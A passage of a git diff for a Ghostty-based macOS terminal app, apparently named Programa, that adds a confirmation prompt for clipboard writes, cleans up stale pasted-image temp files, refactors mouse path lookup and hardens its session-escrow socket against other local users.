F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF5050000000000000A003 /* EscrowFDPassingRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */; }; + BEEF5050000000000000A001 /* EscrowFixSweepSESSTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5050000000000000A002 /* EscrowFixSweepSESSTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -708,6 +710,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EscrowFDPassingRegressionTests.swift; sourceTree = ""; }; + BEEF5050000000000000A002 /* EscrowFixSweepSESSTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EscrowFixSweepSESSTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -1230,6 +1234,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */, + BEEF5050000000000000A002 /* EscrowFixSweepSESSTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1695,6 +1701,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF5050000000000000A003 /* EscrowFDPassingRegressionTests.swift in Sources */, + BEEF5050000000000000A001 /* EscrowFixSweepSESSTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c05bcb9b5..bd258827c 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -9691,6 +9691,40 @@ } } }, + "sess.clipboardWrite.title": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Allow Clipboard Write?" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "クリップボードへの書き込みを許可しますか?" + } + } + } + }, + "sess.clipboardWrite.message": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "A program running in this terminal wants to replace your clipboard contents. Allow it to write to the clipboard?" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このターミナルで実行中のプログラムがクリップボードの内容を置き換えようとしています。クリップボードへの書き込みを許可しますか?" + } + } + } + }, "error.clipboardFolderPath": { "extractionState": "manual", "localizations": { diff --git a/Sources/GhosttyApp.swift b/Sources/GhosttyApp.swift index 94c4f203f..9378942f4 100644 --- a/Sources/GhosttyApp.swift +++ b/Sources/GhosttyApp.swift @@ -299,6 +299,9 @@ class GhosttyApp { if kind == GHOSTTY_CLIPBOARD_REQUEST_PASTE { alert.messageText = String(localized: "dialog.clipboardConfirmation.paste.title", defaultValue: "Allow Unsafe Paste?") alert.informativeText = String(localized: "dialog.clipboardConfirmation.paste.message", defaultValue: "This clipboard text may execute commands when pasted into the terminal. Allow this paste?") + } else if kind == GHOSTTY_CLIPBOARD_REQUEST_OSC_52_WRITE { + alert.messageText = String(localized: "sess.clipboardWrite.title", defaultValue: "Allow Clipboard Write?") + alert.informativeText = String(localized: "sess.clipboardWrite.message", defaultValue: "A program running in this terminal wants to replace your clipboard contents. Allow it to write to the clipboard?") } else { alert.messageText = String(localized: "dialog.clipboardConfirmation.read.title", defaultValue: "Allow Clipboard Access?") alert.informativeText = String(localized: "dialog.clipboardConfirmation.read.message", defaultValue: "A program running in this terminal requested your clipboard contents. Allow it to read the clipboard?") @@ -327,7 +330,8 @@ class GhosttyApp { clipboardConfirmations[identity]?.finish(allow: false) } guard let window, let kind, - kind == GHOSTTY_CLIPBOARD_REQUEST_PASTE || kind == GHOSTTY_CLIPBOARD_REQUEST_OSC_52_READ else { + kind == GHOSTTY_CLIPBOARD_REQUEST_PASTE || kind == GHOSTTY_CLIPBOARD_REQUEST_OSC_52_READ + || kind == GHOSTTY_CLIPBOARD_REQUEST_OSC_52_WRITE else { completion("") return } @@ -474,6 +478,9 @@ class GhosttyApp { private init() { backgroundLogWriter = BackgroundLogWriter(url: backgroundLogURL) initializeGhostty() + DispatchQueue.global(qos: .utility).async { + GhosttyPasteboardHelper.removeStaleTemporaryImageFiles() + } } #if DEBUG @@ -483,9 +490,9 @@ class GhosttyApp { let timestamp = ISO8601DateFormatter().string(from: Date()) let line = "[\(timestamp)] \(message)\n" if let handle = FileHandle(forWritingAtPath: initLogPath) { - handle.seekToEndOfFile() - handle.write(Data(line.utf8)) - handle.closeFile() + _ = try? handle.seekToEnd() + try? handle.write(contentsOf: Data(line.utf8)) + try? handle.close() } else { _ = FileManager.default.createFile(atPath: initLogPath, contents: line.data(using: .utf8)) } @@ -581,31 +588,51 @@ class GhosttyApp { } } } - runtimeConfig.write_clipboard_cb = { _, location, content, len, _ in - // Write clipboard + runtimeConfig.write_clipboard_cb = { userdata, location, content, len, confirm in + // Write clipboard. Prefer text/plain, else the first item. guard let content = content, len > 0 else { return } let buffer = UnsafeBufferPointer(start: content, count: Int(len)) - var fallback: String? + var chosen: String? for item in buffer { guard let dataPtr = item.data else { continue } let value = String(cString: dataPtr) - - if let mimePtr = item.mime { - let mime = String(cString: mimePtr) - if mime.hasPrefix("text/plain") { - GhosttyPasteboardHelper.writeString(value, to: location) - return - } + if let mimePtr = item.mime, String(cString: mimePtr).hasPrefix("text/plain") { + chosen = value + break } - - if fallback == nil { - fallback = value + if chosen == nil { + chosen = value } } + guard let chosen else { return } - if let fallback { - GhosttyPasteboardHelper.writeString(fallback, to: location) + guard confirm else { + GhosttyPasteboardHelper.writeString(chosen, to: location) + return + } + // `clipboard-write = ask`: an OSC 52 write waits for the user. Deny + // (Cancel is the default button) or no window means no write. + let callbackContext = GhosttyApp.callbackContext(from: userdata) + let presentConfirmation = { + MainActor.assumeIsolated { () -> Void in + let window = callbackContext.flatMap { + GhosttyApp.resolveTerminalSurface(tabId: $0.tabId, surfaceId: $0.surfaceId) + }?.hostedView.window + GhosttyApp.handleClipboardConfirmation( + contents: chosen, + kind: GHOSTTY_CLIPBOARD_REQUEST_OSC_52_WRITE, + window: window + ) { confirmedContent in + guard !confirmedContent.isEmpty else { return } + GhosttyPasteboardHelper.writeString(confirmedContent, to: location) + } + } + } + if Thread.isMainThread { + presentConfirmation() + } else { + DispatchQueue.main.async(execute: presentConfirmation) } } runtimeConfig.close_surface_cb = { userdata, needsConfirmClose in @@ -1926,7 +1953,8 @@ class GhosttyApp { return false } return performOnMain { - guard let tabManager = AppDelegate.shared?.tabManager else { return false } + guard let app = AppDelegate.shared, + let tabManager = app.tabManagerFor(tabId: tabId) ?? app.tabManager else { return false } return tabManager.moveSplitFocus(tabId: tabId, surfaceId: surfaceId, direction: direction) } case GHOSTTY_ACTION_RESIZE_SPLIT: @@ -1937,7 +1965,8 @@ class GhosttyApp { } let amount = action.action.resize_split.amount return performOnMain { - guard let tabManager = AppDelegate.shared?.tabManager else { return false } + guard let app = AppDelegate.shared, + let tabManager = app.tabManagerFor(tabId: tabId) ?? app.tabManager else { return false } return tabManager.resizeSplit( tabId: tabId, surfaceId: surfaceId, @@ -1950,7 +1979,8 @@ class GhosttyApp { return false } return performOnMain { - guard let tabManager = AppDelegate.shared?.tabManager else { return false } + guard let app = AppDelegate.shared, + let tabManager = app.tabManagerFor(tabId: tabId) ?? app.tabManager else { return false } return tabManager.equalizeSplits(tabId: tabId) } case GHOSTTY_ACTION_TOGGLE_SPLIT_ZOOM: @@ -1959,7 +1989,8 @@ class GhosttyApp { return false } return performOnMain { - guard let tabManager = AppDelegate.shared?.tabManager else { return false } + guard let app = AppDelegate.shared, + let tabManager = app.tabManagerFor(tabId: tabId) ?? app.tabManager else { return false } return tabManager.toggleSplitZoom(tabId: tabId, surfaceId: surfaceId) } case GHOSTTY_ACTION_SCROLLBAR: diff --git a/Sources/GhosttyNSView.swift b/Sources/GhosttyNSView.swift index 5657a42c4..a8c53274a 100644 --- a/Sources/GhosttyNSView.swift +++ b/Sources/GhosttyNSView.swift @@ -160,7 +160,6 @@ class GhosttyNSView: NSView, NSUserInterfaceValidations { }() static var debugGhosttySurfaceKeyEventObserver: ((ghostty_input_key_s) -> Void)? #endif - private var eventMonitor: Any? var trackingArea: NSTrackingArea? private var windowObserver: NSObjectProtocol? private var screenParametersObserver: NSObjectProtocol? @@ -237,11 +236,8 @@ class GhosttyNSView: NSView, NSUserInterfaceValidations { } private func setup() { - // Only enable our instrumented CAMetalLayer in targeted debug/test scenarios. - // The lock in GhosttyMetalLayer.nextDrawable() adds overhead we don't want in normal runs. wantsLayer = true layer?.masksToBounds = true - installEventMonitor() updateTrackingAreas() registerForDraggedTypes(Array(Self.dropTypes)) } @@ -339,34 +335,6 @@ class GhosttyNSView: NSView, NSUserInterfaceValidations { } } - private func installEventMonitor() { - guard eventMonitor == nil else { return } - eventMonitor = NSEvent.addLocalMonitorForEvents(matching: [.scrollWheel]) { [weak self] event in - return self?.localEventHandler(event) ?? event - } - } - - private func localEventHandler(_ event: NSEvent) -> NSEvent? { - switch event.type { - case .scrollWheel: - return localEventScrollWheel(event) - default: - return event - } - } - - private func localEventScrollWheel(_ event: NSEvent) -> NSEvent? { - guard let window, - let eventWindow = event.window, - window == eventWindow else { return event } - - let location = convert(event.locationInWindow, from: nil) - guard hitTest(location) == self else { return event } - - Self.focusLog("localEventScrollWheel: window=\(ObjectIdentifier(window)) firstResponder=\(String(describing: window.firstResponder))") - return event - } - func attachSurface(_ surface: TerminalSurface) { let isSameSurface = terminalSurface === surface let isAlreadyAttached = surface.isAttached(to: self) @@ -484,11 +452,6 @@ class GhosttyNSView: NSView, NSUserInterfaceValidations { ) } - fileprivate func updateOcclusionState() { - // Intentionally no-op: we don't drive libghostty occlusion from AppKit occlusion state. - // This avoids transient clears during reparenting and keeps rendering logic minimal. - } - override func viewDidChangeBackingProperties() { super.viewDidChangeBackingProperties() if let window { @@ -861,9 +824,6 @@ class GhosttyNSView: NSView, NSUserInterfaceValidations { "inWindow=\(window != nil ? 1 : 0) hasSuperview=\(superview != nil ? 1 : 0)" ) #endif - if let eventMonitor { - NSEvent.removeMonitor(eventMonitor) - } if let windowObserver { NotificationCenter.default.removeObserver(windowObserver) } diff --git a/Sources/GhosttySurfaceScrollView.swift b/Sources/GhosttySurfaceScrollView.swift index 71e4cc49d..a9734afef 100644 --- a/Sources/GhosttySurfaceScrollView.swift +++ b/Sources/GhosttySurfaceScrollView.swift @@ -684,7 +684,6 @@ final class GhosttySurfaceScrollView: NSView { windowObserverGeneration &+= 1 deferredSearchOverlayMutationWorkItem?.cancel() dropZoneOverlayView.removeFromSuperview() - cancelFocusRequest() } override var safeAreaInsets: NSEdgeInsets { NSEdgeInsetsZero } @@ -2581,10 +2580,6 @@ final class GhosttySurfaceScrollView: NSView { return textField.isDescendant(of: self) && isSearchOverlayOrDescendant(textField) } - func cancelFocusRequest() { - // Intentionally no-op (no retry loops). - } - private func synchronizeSurfaceView() { let visibleRect = scrollView.contentView.documentVisibleRect guard !pointApproximatelyEqual(surfaceView.frame.origin, visibleRect.origin) else { return } diff --git a/Sources/GhosttyTerminalSupport.swift b/Sources/GhosttyTerminalSupport.swift index fadbaf414..3d0612cbe 100644 --- a/Sources/GhosttyTerminalSupport.swift +++ b/Sources/GhosttyTerminalSupport.swift @@ -430,6 +430,47 @@ enum GhosttyPasteboardHelper { .map { escapeForShell($0.path) } } + /// Exactly the names `saveImageFileURLIfNeeded` writes: + /// `clipboard--<8 hex>.`. A user's own + /// `clipboard-report.png` in the same directory never matches. + private static let temporaryImageFilenamePattern = try? NSRegularExpression( + pattern: "^clipboard-[0-9]{4}-[0-9]{2}-[0-9]{2}-[0-9]{6}-[0-9A-Fa-f]{8}\\.[A-Za-z0-9]{1,5}$" + ) + + static func isAppWrittenTemporaryImageFilename(_ name: String) -> Bool { + guard let temporaryImageFilenamePattern else { return false } + let range = NSRange(name.startIndex..., in: name) + return temporaryImageFilenamePattern.firstMatch(in: name, range: range) != nil + } + + /// Pasted clipboard images are written to the temporary directory and + /// handed to the shell as a path, so nothing deletes them at paste time. + /// Removes the ones this app wrote more than `maxAge` ago. Returns the + /// number of files removed. Run off-main at launch. + @discardableResult + static func removeStaleTemporaryImageFiles( + in directory: URL = FileManager.default.temporaryDirectory, + olderThan maxAge: TimeInterval = 24 * 60 * 60, + now: Date = Date() + ) -> Int { + guard let entries = try? FileManager.default.contentsOfDirectory( + at: directory, + includingPropertiesForKeys: [.contentModificationDateKey, .isRegularFileKey], + options: [.skipsHiddenFiles, .skipsSubdirectoryDescendants] + ) else { return 0 } + var removed = 0 + for entry in entries where isAppWrittenTemporaryImageFilename(entry.lastPathComponent) { + guard let values = try? entry.resourceValues(forKeys: [.contentModificationDateKey, .isRegularFileKey]), + values.isRegularFile == true, + let modifiedAt = values.contentModificationDate, + now.timeIntervalSince(modifiedAt) > maxAge else { continue } + if (try? FileManager.default.removeItem(at: entry)) != nil { + removed += 1 + } + } + return removed + } + static func cleanupTransferredTemporaryImageFiles(_ fileURLs: [URL]) { for fileURL in fileURLs { let normalizedURL = fileURL.standardizedFileURL diff --git a/Sources/GhosttyTerminalView+Mouse.swift b/Sources/GhosttyTerminalView+Mouse.swift index 112e38e86..c2ea0abb2 100644 --- a/Sources/GhosttyTerminalView+Mouse.swift +++ b/Sources/GhosttyTerminalView+Mouse.swift @@ -144,14 +144,26 @@ extension GhosttyNSView { return nil } + // One visible-text read per resolution, shared by the pointer and + // viewport-offset lookups (each read copies up to rows * 4 lines). + var cachedVisibleText: VisibleTerminalText?? + func visibleText() -> VisibleTerminalText? { + if let cachedVisibleText { return cachedVisibleText } + let snapshot = readVisibleTerminalText(workspace: workspace, terminalSurface: termSurface) + cachedVisibleText = .some(snapshot) + return snapshot + } + let snapshotPoint = preferredPointerPoint(from: point) - let pointSnapshotResolution = snapshotPoint.flatMap { - resolveVisibleWordPath( - at: $0, - cwd: cwd, - workspace: workspace, - terminalSurface: termSurface - ) + let pointSnapshotResolution = snapshotPoint.flatMap { point in + visibleText().flatMap { resolveVisibleWordPath(at: point, cwd: cwd, visibleText: $0) } + } + // The pointer-anchored snapshot is the only source tied directly to the + // actual pointer location and wins over quicklook and viewport offsets + // (which can lag or target a sibling entry in multi-column `ls` output), + // so the quicklook and viewport lookups are skipped once it resolves. + if let pointSnapshotResolution { + return pointSnapshotResolution } var text = ghostty_text_s() @@ -183,34 +195,21 @@ extension GhosttyNSView { #else let viewportOffsetStart = Int(text.offset_start) #endif - viewportResolution = resolveVisibleWordPathFromViewportOffset( - viewportOffsetStart, - cwd: cwd, - workspace: workspace, - terminalSurface: termSurface - ) + viewportResolution = visibleText().flatMap { + resolveVisibleWordPathFromViewportOffset(viewportOffsetStart, cwd: cwd, visibleText: $0) + } } if let viewportResolution { - // The pointer-anchored snapshot is the only source tied directly to the - // actual click location. Prefer it over quicklook and viewport offsets, - // which can lag or target a sibling entry in multi-column `ls` output. - if let pointSnapshotResolution { - return pointSnapshotResolution - } return viewportResolution } - if let pointSnapshotResolution { - return pointSnapshotResolution - } - if let quicklookResolution { return quicklookResolution } } - return pointSnapshotResolution + return nil } #if DEBUG @@ -347,25 +346,44 @@ extension GhosttyNSView { return convert(window.mouseLocationOutsideOfEventStream, from: nil) } - private func resolveVisibleWordPathFromViewportOffset( - _ viewportOffsetStart: Int, - cwd: String, + private struct VisibleTerminalText { + let lines: [String] + let rows: Int + let cols: Int + let size: ghostty_surface_size_s + } + + private func readVisibleTerminalText( workspace: Workspace, terminalSurface: TerminalSurface - ) -> WordPathResolution? { + ) -> VisibleTerminalText? { guard let panel = workspace.terminalPanel(for: terminalSurface.id), let surface else { return nil } - let size = ghostty_surface_size(surface) let rows = max(Int(size.rows), 1) let cols = max(Int(size.columns), 1) - let visibleText = TerminalController.shared.readTerminalTextForSnapshot( + let text = TerminalController.shared.readTerminalTextForSnapshot( terminalPanel: panel, lineLimit: max(200, rows * 4) ) ?? "" - let visibleLines = programaVisibleTerminalLines(from: visibleText, rows: rows) + return VisibleTerminalText( + lines: programaVisibleTerminalLines(from: text, rows: rows), + rows: rows, + cols: cols, + size: size + ) + } + + private func resolveVisibleWordPathFromViewportOffset( + _ viewportOffsetStart: Int, + cwd: String, + visibleText: VisibleTerminalText + ) -> WordPathResolution? { + let rows = visibleText.rows + let cols = visibleText.cols + let visibleLines = visibleText.lines let rowOffset = max(0, rows - visibleLines.count) let rowFromTop = max(0, min(rows - 1, viewportOffsetStart / cols)) let visibleRow = rowFromTop - rowOffset @@ -390,26 +408,15 @@ extension GhosttyNSView { private func resolveVisibleWordPath( at point: NSPoint, cwd: String, - workspace: Workspace, - terminalSurface: TerminalSurface + visibleText: VisibleTerminalText ) -> WordPathResolution? { - guard let panel = workspace.terminalPanel(for: terminalSurface.id), - let surface else { - return nil - } - - let size = ghostty_surface_size(surface) - let rows = max(Int(size.rows), 1) - let cols = max(Int(size.columns), 1) - let resolvedCellWidth = cellSize.width > 0 ? cellSize.width : CGFloat(size.cell_width_px) - let resolvedCellHeight = cellSize.height > 0 ? cellSize.height : CGFloat(size.cell_height_px) + let rows = visibleText.rows + let cols = visibleText.cols + let resolvedCellWidth = cellSize.width > 0 ? cellSize.width : CGFloat(visibleText.size.cell_width_px) + let resolvedCellHeight = cellSize.height > 0 ? cellSize.height : CGFloat(visibleText.size.cell_height_px) guard resolvedCellWidth > 0, resolvedCellHeight > 0 else { return nil } - let visibleText = TerminalController.shared.readTerminalTextForSnapshot( - terminalPanel: panel, - lineLimit: max(200, rows * 4) - ) ?? "" - let visibleLines = programaVisibleTerminalLines(from: visibleText, rows: rows) + let visibleLines = visibleText.lines let rowOffset = max(0, rows - visibleLines.count) let xInset = max(0, (bounds.width - (CGFloat(cols) * resolvedCellWidth)) / 2) let yInset = max(0, (bounds.height - (CGFloat(rows) * resolvedCellHeight)) / 2) diff --git a/Sources/ProgramaSurfaceConfigTemplate.swift b/Sources/ProgramaSurfaceConfigTemplate.swift index d9bc9f3ad..581f99404 100644 --- a/Sources/ProgramaSurfaceConfigTemplate.swift +++ b/Sources/ProgramaSurfaceConfigTemplate.swift @@ -97,7 +97,8 @@ func programaCurrentSurfaceFontSizePoints(_ surface: ghostty_surface_t) -> Float return nil } - let ctFont = Unmanaged.fromOpaque(quicklookFont).takeUnretainedValue() + // `ghostty_surface_quicklook_font` returns a +1 copy (`copyWithAttributes`). + let ctFont = Unmanaged.fromOpaque(quicklookFont).takeRetainedValue() let points = Float(CTFontGetSize(ctFont)) guard points > 0 else { return nil } return points diff --git a/Sources/SessionEscrow.swift b/Sources/SessionEscrow.swift index 215a2f941..069de2517 100644 --- a/Sources/SessionEscrow.swift +++ b/Sources/SessionEscrow.swift @@ -45,10 +45,11 @@ import Bonsplit /// `TerminalSurface.attemptSessionEscrow(surface:surfaceId:childPID:)` /// (called from `resolveSessionWALIdentity`, the same bounded retry loop /// that already resolves `childPID`/`ptyPath` for `SessionWALStore`) reads -/// `ghostty_surface_pty_master_fd(surface)` and `dup()`s it once the child +/// `ghostty_surface_pty_master_fd(surface)` and duplicates it +/// (`F_DUPFD_CLOEXEC`) once the child /// PID is known -- both on the main actor, matching the existing sibling /// accessor calls' cost class. The dup and the actual socket send are -/// deliberately split: only the cheap `dup()` syscall happens on main; the +/// deliberately split: only the cheap duplicate syscall happens on main; the /// send (which can block on socket I/O) is handed to /// `SessionEscrowClient`'s own background queue immediately after. /// @@ -130,10 +131,10 @@ import Bonsplit /// `HeldSession` carries a `stopRequested` flag (mutated only under /// `SessionEscrowHolder.registryLock`) and a `DispatchSemaphore` the drain /// thread signals exactly once, right after it stops. The drain loop itself -/// no longer blocks in a bare `read()`: it `poll()`s the fd first (bounded, -/// `SessionEscrowPolicy.drainPollIntervalMilliseconds`) so it can notice -/// `stopRequested` promptly even while the child is producing no output at -/// all, and only calls the actual (now effectively non-blocking, since +/// no longer blocks in a bare `read()`: it `poll()`s the fd together with +/// the session's self-pipe (`HeldSession.requestStop()` writes one byte to +/// it), so a stop is noticed immediately even while the child is producing +/// no output at all, and only calls the actual (now effectively non-blocking, since /// `poll` already confirmed readability) `read()` once data is pending -- /// this is the "bounded by one `drainReadBufferSize` read" a retrieval /// waits out. A retrieval request sets `stopRequested`, blocks on the @@ -171,6 +172,22 @@ enum SessionEscrowPolicy { ) -> Bool { (nowSystemUptime - lastActivitySystemUptime) >= staleAfter } + + /// Whether a connection whose heartbeat went stale should start + /// draining its sessions. Only when the peer pid is known to be gone + /// (`kill(pid, 0)` fails with `ESRCH`); an unknown pid keeps the + /// staleness backstop. `processProbe` returns `kill`'s result and errno. + static func shouldDrainOnStaleHeartbeat( + peerPID: pid_t?, + processProbe: (pid_t) -> (result: Int32, errno: Int32) = { pid in + let result = kill(pid, 0) + return (result, result == 0 ? 0 : errno) + } + ) -> Bool { + guard let peerPID, peerPID > 0 else { return true } + let probe = processProbe(peerPID) + return probe.result != 0 && probe.errno == ESRCH + } /// The holder is a cold-launched copy of the full app binary (AppKit + /// SwiftUI + GhosttyKit all linked in), so dyld/Swift-runtime startup /// before it reaches `accept()` can comfortably take longer than a @@ -267,6 +284,35 @@ enum SessionEscrowPolicy { static let idleExitGrace: TimeInterval = 30 } +/// The holder's grant/deny rule for one retrieve request, separated from +/// the socket I/O in `SessionEscrowHolder.handleRetrieveRequest`. +enum HolderRetrieveDecision: Equatable { + case grant + case deny(EscrowWireFormat.RetrieveDenyReason) + + /// Unknown session, then token mismatch, then not draining. A session + /// that is not draining may still belong to a live app -- only that + /// app's EOF (or a stale heartbeat from a dead pid) proves otherwise -- + /// so the caller gets `notDraining`, which it retries briefly instead + /// of falling back for good (the 2026-08-10 mass-drain). + static func decide(sessionExists: Bool, tokenMatches: Bool, isDraining: Bool) -> HolderRetrieveDecision { + guard sessionExists else { return .deny(.unknownSession) } + guard tokenMatches else { return .deny(.tokenMismatch) } + guard isDraining else { return .deny(.notDraining) } + return .grant + } + + static func label(for reason: EscrowWireFormat.RetrieveDenyReason) -> String { + switch reason { + case .unknownSession: return "unknown" + case .tokenMismatch: return "token_mismatch" + case .notDraining: return "not_draining" + case .drainStopTimeout: return "drain_stop_timeout" + case .unspecified: return "unspecified" + } + } +} + // MARK: - Wire format /// Fixed-size frame format shared by every message on the escrow control @@ -492,9 +538,33 @@ enum UnixDomainFDPassing { return .indeterminate(connectErrno) } } + // A listener owned by another uid (a planted socket in a shared + // directory) must never receive a PTY master or a retrieve token. + guard peerIsCurrentUser(fd) else { + close(fd) + return .indeterminate(EPERM) + } return .live(fd) } + /// Whether the process on the other end of the connected `fd` runs as + /// this process's effective uid. False when `getpeereid` fails. + static func peerIsCurrentUser(_ fd: Int32) -> Bool { + var uid: uid_t = 0 + var gid: gid_t = 0 + guard getpeereid(fd, &uid, &gid) == 0 else { return false } + return uid == geteuid() + } + + /// The peer's pid (`LOCAL_PEERPID`) captured at connect time, or nil + /// when the kernel does not report one. + static func peerPID(_ fd: Int32) -> pid_t? { + var pid: pid_t = 0 + var length = socklen_t(MemoryLayout.size) + guard getsockopt(fd, SOL_LOCAL, LOCAL_PEERPID, &pid, &length) == 0, pid > 0 else { return nil } + return pid + } + /// Compatibility wrapper for callers that only need a connected fd. static func connect(to socketPath: String) -> Int32? { guard case .live(let fd) = probeConnection(to: socketPath) else { return nil } @@ -741,7 +811,9 @@ final class SessionEscrowRetainedDescriptor: @unchecked Sendable { lock.lock() defer { lock.unlock() } guard masterFD >= 0 else { return nil } - let fd = dup(masterFD) + // F_DUPFD_CLOEXEC, not dup(): the copy must not leak into children + // spawned by a concurrent fork/exec. + let fd = fcntl(masterFD, F_DUPFD_CLOEXEC, 0) return fd >= 0 ? fd : nil } @@ -793,9 +865,21 @@ final class SessionEscrowClient { static let shared = SessionEscrowClient() private static let migrationQueue = DispatchQueue(label: "com.darkroom.programa.scrollback-migration", qos: .utility) - private static func legacySessions() throws -> [(sessionId: String, meta: SessionWALMeta)] { - guard let root = SessionWALPaths.sessionsRootURL() else { throw CocoaError(.fileNoSuchFile) } + private static let unreadableLegacyMetaLock = NSLock() + private static var loggedUnreadableLegacyMeta: Set = [] + + /// Sessions still claimed by the v1 holder socket. An unreadable + /// `meta.json` is skipped (logged once per path), never a reason to + /// fail the whole scan: one corrupt file must not latch the migration + /// into a permanent "legacy sessions pending" state. Only a failure to + /// list the sessions directory throws. + static func legacySessions( + root rootOverride: URL? = nil, + legacySocketPath socketPathOverride: String? = nil + ) throws -> [(sessionId: String, meta: SessionWALMeta)] { + guard let root = rootOverride ?? SessionWALPaths.sessionsRootURL() else { throw CocoaError(.fileNoSuchFile) } guard FileManager.default.fileExists(atPath: root.path) else { return [] } + let socketPath = socketPathOverride ?? legacySocketPath() let decoder = JSONDecoder() decoder.dateDecodingStrategy = .iso8601 var result: [(sessionId: String, meta: SessionWALMeta)] = [] @@ -803,8 +887,19 @@ final class SessionEscrowClient { guard UUID(uuidString: entry.lastPathComponent) != nil else { continue } let paths = SessionWALPaths(sessionDirectory: entry) guard FileManager.default.fileExists(atPath: paths.metaURL.path) else { continue } - let meta = try decoder.decode(SessionWALMeta.self, from: Data(contentsOf: paths.metaURL)) - if meta.escrowed == true, meta.escrowSocketPath == legacySocketPath() { + let meta: SessionWALMeta + do { + meta = try decoder.decode(SessionWALMeta.self, from: Data(contentsOf: paths.metaURL)) + } catch { + unreadableLegacyMetaLock.lock() + let firstTime = loggedUnreadableLegacyMeta.insert(paths.metaURL.path).inserted + unreadableLegacyMetaLock.unlock() + if firstTime { + dilog("escrow.migration", "skip_unreadable_meta session=\(entry.lastPathComponent.prefix(8)) error=\(error)") + } + continue + } + if meta.escrowed == true, meta.escrowSocketPath == socketPath { result.append((entry.lastPathComponent, meta)) } } @@ -812,6 +907,8 @@ final class SessionEscrowClient { } static func hasLegacySessions() -> Bool { + // Only a directory-listing failure lands here; unreadable entries + // are skipped inside `legacySessions`. guard let legacy = try? legacySessions() else { return true } return !legacy.isEmpty || !SessionEscrowRetainedDescriptor.pending().isEmpty } @@ -1176,13 +1273,26 @@ final class SessionEscrowClient { /// Version the holder policy so upgraded apps register with the new /// snapshot-aware reaper. Retrieval still uses the socket recorded in /// each session's metadata, allowing old holders to hand sessions over. - static func escrowSocketPath(controlSocketPath: String = SocketControlSettings.socketPath()) -> String { + /// + /// A control socket under the world-writable `/tmp` moves the escrow + /// socket into the per-user (0700) `NSTemporaryDirectory()`, so another + /// local user cannot pre-create or squat the path. Falls back to the + /// sibling path when the per-user one would not fit `sun_path`. + static func escrowSocketPath( + controlSocketPath: String = SocketControlSettings.socketPath(), + perUserTemporaryDirectory: String = NSTemporaryDirectory() + ) -> String { let baseURL = URL(fileURLWithPath: controlSocketPath) - let name = baseURL.deletingPathExtension().lastPathComponent + "-escrow-v2" - return baseURL.deletingLastPathComponent() - .appendingPathComponent(name) - .appendingPathExtension("sock") - .path + let fileName = baseURL.deletingPathExtension().lastPathComponent + 